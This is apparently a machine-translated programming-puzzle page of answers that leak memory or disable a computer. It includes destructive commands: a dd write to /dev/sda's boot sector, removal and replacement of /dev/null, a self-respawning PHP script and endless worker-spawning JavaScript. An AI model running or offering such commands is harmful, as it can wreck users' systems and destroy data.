static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Ostrzeżenie może zmusić Cię do ponownego uruchomienia!

Aby go usunąć:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null
n0la
źródło
6

Rubin

Każdy zna tę sumę (1 / n ^ 2) = pi ^ 2/6

Mogę więc zdefiniować funkcję aproksymacji:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

Oczywiście (1 .. nieskończoność) będzie działać dziko.

Zauważ jednak, że użycie leniwego sprawiłoby, że to zadziała;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456
heherve
źródło
5

C - 28 25 znaków (pełny program)

Nie uruchamiaj tego, w przeciwnym razie twój system szybko się zamrozi!

main(){while(malloc(9));}

Wezwanie do malloc zarezerwuje 9 bajtów pamięci i będzie regularnie żądać nowych stron pamięci w systemie operacyjnym. Pamięć przydzielona przez malloc jest natychmiast wyciekana, ponieważ nie jest przechowywany wskaźnik do zwróconego adresu. Gdy w systemie zabraknie pamięci (pamięci RAM i przestrzeni wymiany) lub zostanie osiągnięty limit pamięci dla procesu, program wyrwie się z pętli while i zakończy działanie.

Mathieu Rodic
źródło
2
Nie na długo - każdy stosunkowo nowoczesny system powinien mieć zabójcę OOM, który uruchamia i zabija proces. Tak przynajmniej działa Ubuntu 12.04.
Cyfrowa trauma
1
Cóż,
rozbiłem
@DigitalTrauma Czy np. FreeBSD ma OOMK?
Ruslan
1
main(){while(malloc(9));}zapisuje kolejne 3 znaki i prawie natychmiast wypełnia moją pamięć.
gmatht
@gmatht: dzięki za sugestię! Zredagowałem odpowiedź ... choć podobał mi się pomysł zwiększenia rozmiaru bloku w każdej pętli.
Mathieu Rodic
4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

Tworzymy słownik, który wskazuje na siebie. Myślimy, że zniszczymy słownik, ustawiając go na Nic. Jednak słownik nadal istnieje w pamięci, ponieważ ma prawidłowe (okrągłe) odwołanie.

Pętla, ale także wieprz pamięci, powoduje zawieszenie się programu. Po zamknięciu programu pamięć jest nadal używana. System można przywrócić tylko poprzez jego ponowne uruchomienie.

AutomatedChaos
źródło
Naprawdę? VBScript nie używa tylko VB.NET pod maską? Odwołania cykliczne zwykle nie stanowią problemu dla śmieciarek, z wyjątkiem prostych implementacji liczenia odwołań, a zakończenie programu powinno skutkować zwolnieniem całej sterty, prawda?
David Conrad
@DavidConrad Myślisz, że tak, ale musiałem restartować maszynę za każdym razem, gdy to sprawdzałem i uruchamiałem tego typu skrypty.
AutomatedChaos
1
VBScript znacznie wyprzedza VB.Net - nie jest to wersja VB.Net z linii poleceń; to interpretowany podzbiór starszego języka Visual Basic.
Chris J
Dzięki Wam obojgu. Nie zdawałem sobie sprawy z relacji między VBScript a VB.NET.
David Conrad
4

Tak i tmpfs

Po co pisać nowy program, jeśli jest dostępny bezpłatnie z Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

Jak zapewne wiesz, lub już zgadłeś, Ubuntu domyślnie montuje / run / user / jako tmpfs, który jest rodzajem dysku RAM .

Nie musisz go nawet zamykać. Grzecznie się zamknie, pozostawiając sporo przydzielonej pamięci. Przypuszczam, że yesjest to jednowątkowy, jednoprocesowy program, który nie wywołuje żadnego innego (zapis na istniejącym dysku RAM jest również trywialnie przenośny na wybrany przez ciebie język).

Ma niewielki błąd: Ubuntu domyślnie ogranicza zapisywalne przez użytkownika tmpfs / run / 1000 do 100 MB, więc funkcja zamiany śmierci może nie być obsługiwana na twoim komputerze po wyjęciu z pudełka. Udało mi się to jednak naprawić na moim komputerze za pomocą następującego szybkiego obejścia:

sudo mount -o remount,size=10G tmpfs /run/user/
gmatht
źródło
W ogóle nie mam /run/userkatalogu. Z jakiej wersji Ubuntu korzystasz i co zainstalowałeś?
Ruslan
Ubuntu Trusty Tahr (14.04). Nie jest wymagana specjalna instalacja.
gmatht
Aby sprawdzić, czy masz tmpfszamontowane jakieś systemy plików, możesz je wymienić df -t tmpfs. Mój system Ubuntu ma piękny duży /run/shmdostępny ...
Toby Speight
4

Grzmotnąć

Ostrzeżenie: Poniższy kod uniemożliwi uruchomienie komputera.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Ostrzeżenie: powyższy kod uniemożliwi uruchomienie komputera.

Zamień / dev / sda na dysk rozruchowy. To zapisuje E8 FD FF na początku sektora rozruchowego. Podczas uruchamiania BIOS odczytuje sektor rozruchowy do pamięci i wykonuje go. Te kody są równoważne z tym zestawem:

label:
  call label

Jest to nieskończona rekurencja, która ostatecznie spowoduje przepełnienie stosu.

Bob65536
źródło
W przykładzie montażu możesz zapisać znak (zakładając, że nazwa „etykieta” jest konieczna), używając jmpzamiastcall
SirPython
call pozostawia adres zwrotny na stosie do ret. skok nie spowodowałby przepełnienia stosu.
Jerry Jeremiah
3

Haskell

main=print $ sum [0..]

To próbuje zsumować liczby zliczające. Haskell oblicza sumy częściowe, staje się po prostu nieskończoną instrukcją dodawania. Jeśli uruchomisz kompilator z flagami optymalizacji, może on jednak nie działać.

PyRulez
źródło
3

Grzmotnąć

Ponieważ możemy używać narzędzi, które nie są specjalnie zaprojektowane aby zużywać pamięć, skupię się na narzędzie do wolnej pamięci: swapon. Służy to do zwolnienia pamięci przez jądro poprzez zapis na dysk.

Ten skrypt wykonuje dwie optymalizacje: (1) Montowanie tmp jako tmpfs (rodzaj dysku RAM) w celu przyspieszenia / tmp i (2) tworzenie pliku wymiany w celu zwolnienia pamięci. Każdy z nich jest sam w sobie uzasadniony, ale jeśli nieostrożny użytkownik zrobi oba, wówczas rozpoczyna cykl wymiany: gdy system operacyjny próbuje zamienić strony, zapisuje je w tmpfs; powoduje to, że tmpfs zużywają więcej pamięci; zwiększa to presję pamięci, powodując zamianę większej liczby stron. Może to potrwać kilka minut na mojej maszynie wirtualnej, dużo czasu, abyś zobaczył, jak system kopie się w dziurę za pomocą top.

Zamknięcie programu nie ma większego znaczenia, ponieważ sam program prawie nie przydziela żadnej pamięci. Rzeczywiście, swapoffzwalnianie pamięci nie jest trywialne, ponieważ nie można zwolnić pamięci przez odmontowanie tmpfs przed plikiem wymiany, a jest to trudne do momentu zwolnienia pamięci.

Ta odpowiedź może być uważana za przestrogę przed oślepianiem, stosując fajne sztuczki z sieci bez ich zrozumienia.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory
gmatht
źródło
2

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Wykorzystuje odwołania cykliczne. Liczba referencji dla zmiennych nigdy nie osiągnie 0, a referencje nigdy nie zostaną wyrzucone do pamięci.

Być może będziesz musiał uzbroić się w cierpliwość, ale z pewnością udusisz system. Dysk zacznie wirować szybciej, a opary mogą być widoczne.

diabelnie
źródło
2

PHP (tylko Linux):

Ten kod nie został przetestowany, ponieważ nie mam komputera z systemem Linux z uruchomionym php.

Ale to jest mój dowód koncepcji:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

To zapełni pamięć ogromnymi obrazami RGBA (10000 x 10000 pikseli).

Jedynym sposobem na wyłączenie tego dziecka jest wyłączenie zasilania.

Cały kod jest komentowany.

Wszelkie ulepszenia, wątpliwości, błędy lub cokolwiek innego, użyj pola komentarza poniżej.

Ismael Miguel
źródło
Czy ktokolwiek z dostępem do systemu Linux przetestuje to? Dzięki :)
George
Mam Linuksa, po prostu nie jestem pewien, jak to będzie działać. Podałem ekran wydruku dla pierwszej odpowiedzi, ale to naprawdę stara wersja Linux Linuksa. Ubuntu jest zbyt wolny, aby uruchomić php. Może później przetestuję na moim Androidzie.
Ismael Miguel
1
nie ma sensu nie wywoływać innego programu
Einacio
Nie wywołuje innego programu: wywołuje ten sam program, który uruchomił plik dla tego samego pliku.
Ismael Miguel
2

Python - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Tworzy klasę, definiuje metodę ustawiania atrybutów, ustawia w niej atrybut i tworzy instancję początkową, którą następnie próbuje ustawić atrybut.

Prosta funkcja rekurencyjna ( def f(x):f(x)) wydawała się trochę niewyobrażalna, więc postanowiłem nigdy nie wywoływać funkcji.

Zarządzanie pamięcią może uchwycić głębokość rekurencji, ale tak naprawdę zależy to od implementacji.

Jeśli to bomba wideł, proszę mi powiedzieć.

cjfaure
źródło
4
To nie powoduje wyczerpanie pamięci, po prostu: RuntimeError: maximum recursion depth exceeded while calling a Python object. Nawet ustawienie maksymalnego limitu rekurencji sys.setrecursionlimitprawie bez pamięci jest używane, zanim ulegnie awarii z powodu błędu segmentacji.
Bakuriu
@ Bakuriu Tak jak powiedziałem, tak naprawdę zależy to od implementacji (istnieją implementacje Pythona, które konwertują do C (++) i kompilują, np. Shedskin, Nuitka).
cjfaure
2
Następnie określ, dla których konkretnych implementacji piszesz kod. Istnieje różnica między wyzwaniami, w których liczy się tylko składnia, a zatem implementacja nie jest istotna, a wyzwaniami, które całkowicie zależą od sposobu implementacji języka.
Bakuriu
2

Perl

To proste, ale miałem ochotę zagrać w golfa.

{$x=[$x];redo}

Po dwóch iteracjach $xzawiera odwołanie do tablicy zawierającej odwołanie do tablicy zawierającej undef.

Zużycie pamięci jest liniowe w czasie, z małymi przydziałami, ale zajęło mi to tylko kilka sekund, aby znacznie spowolnić menedżera okien w systemie Ubuntu Linux. Pół minuty później zajął się tym zabójca OOM.

aschepler
źródło
2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Nie golfowany:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Uwaga: używa setTimeout, który jest zdefiniowany jako część Timerów - HTML Living Standard .

Wypróbuj w przeglądarce Mozilla Firefox (możesz wkleić go w konsoli programisty). Firefox zużywa coraz więcej pamięci i wykorzystuje 100%procesor na maszynie jednordzeniowej (na maszynie 4-rdzeniowej, takiej jak moja, używa 25%procesora). Ma także tę dodatkową zaletę, że nie można go zatrzymać; jeśli możesz otworzyć menedżera zadań, możesz zabić Firefoksa za jego pomocą.

Szczoteczka do zębów
źródło
1
Wykorzystuje 100% rdzenia. W procesorze quadcore powoduje to 25% użycia procesora.
Iván Pérez
@Electrosa Tak, masz absolutną rację. Zaktualizowałem swoją odpowiedź.
Szczoteczka do zębów
To nie jest pytanie dotyczące kodu golfowego, spróbuj uczynić swój kod czytelnym.
Paŭlo Ebermann
@ PaŭloEbermann OK. Opublikowałem wersję bez golfa.
Szczoteczka do zębów
1

Grzmotnąć

Utwórz pusty plik test
Zastąp /dev/null/ten plik tekstowy

$ sudo mv test /dev/null

Działa to w podobny sposób jak odpowiedź @ Comintern. Wszystkie dane wyjściowe /dev/nullzostaną teraz dołączone do tego pliku tekstowego, który z czasem stanie się ogromny i spowoduje awarię systemu.

Clyde Lobo
źródło
1
Ogromny plik nie spowodowałby awarii systemu. Przy założeniu, że średni rozmiar dysku wynosi 500 GB, zajęłoby dużo czasu, zanim plik zbliżyłby się do zapełnienia dysku.
w4etwetewtwet
1
W systemach, gdzie /devjest a devtmpfs, może to zapełnić i utrudnić działanie systemu. Zgaduję, że taka jest intencja tej odpowiedzi.
Toby Speight
1

Bash: 7 znaków

To powinno być najprostsze rozwiązanie bash. Bez widelców, bez oszukiwania.

x=`yes`

Zaleca się, aby nie uruchamiać tego jako root.

Zamieszki
źródło
Uwaga dodatkowa: nawet jeśli zakończysz to ctrl-c w połowie, a następnie unsetzmienną, pamięć pozostanie przydzielona do momentu zabicia powłoki. Możesz obejrzeć rzeź top.
Riot
Moje własne testy z bash 4.2.45 (1) pokazują, że zwalnia unset xpamięć. pdksh również zwalnia pamięć, ale ksh93 nie zwalnia jej, exitaw ksh93 zrzuca rdzeń.
kernigh
Dla mnie (bash 4.3.11 (1)), rezydentny wyświetlacz pamięci u góry dla powłoki rodzicielskiej wspina się stopniowo, aż do yeszabicia, w którym to momencie pozostaje tam, unsetnie wywołując żadnego efektu. Ale dzieje się tak w dużym systemie pamięci, a posiadanie zmiennej, która ma kilka gigabajtów, nie sprawia problemów (dopóki nie zdecyduje się zabić powłoki).
Riot
0

do

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Cóż, zajmuje pamięć strona po stronie i wreszcie nie ma już pamięci.

ST3
źródło
Jak uniwersalna jest strona o rozmiarze 4 KB?
Peter Mortensen
@Peter 4K ma często rozmiar, ale nie wiem, czy jest naprawdę uniwersalny, ale rozmiar strony nie ma związku z danym pytaniem.
ST3
1
@ ST3: Powinieneś zabrudzić stronę pamięci. Większość współczesnych systemów operacyjnych korzysta z pamięci wirtualnej i po prostu zapisuje ją w tabeli pamięci wirtualnej podczas przydzielania pamięci. Zapisanie jednego bajtu na stronie pamięci już zmusi system operacyjny do mapowania strony pamięci wirtualnej na pamięć fizyczną.
foobar
0

Rubin

a=[];loop{a<<a}

Po prostu bez końca dołącza (rekurencyjne!) Odniesienia do siebie.

Dowiedziałem się o tym małym klejnocie, gdy ktoś złamał moją piaskownicę Ruby . :RE

Demonstracja jego rekurencyjnych aspektów:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 
duckinator
źródło
0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Nie golfa

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

Poprawiłem wpis, aby zawierał połączenie z głównego.

Bacchusbeale
źródło
To konkurs popularności. Jeśli program działa, zachowaj go jako główny i nagłówek. w porządku. Czy możesz również opublikować wersję bez gry w golfa? Dzięki :)
George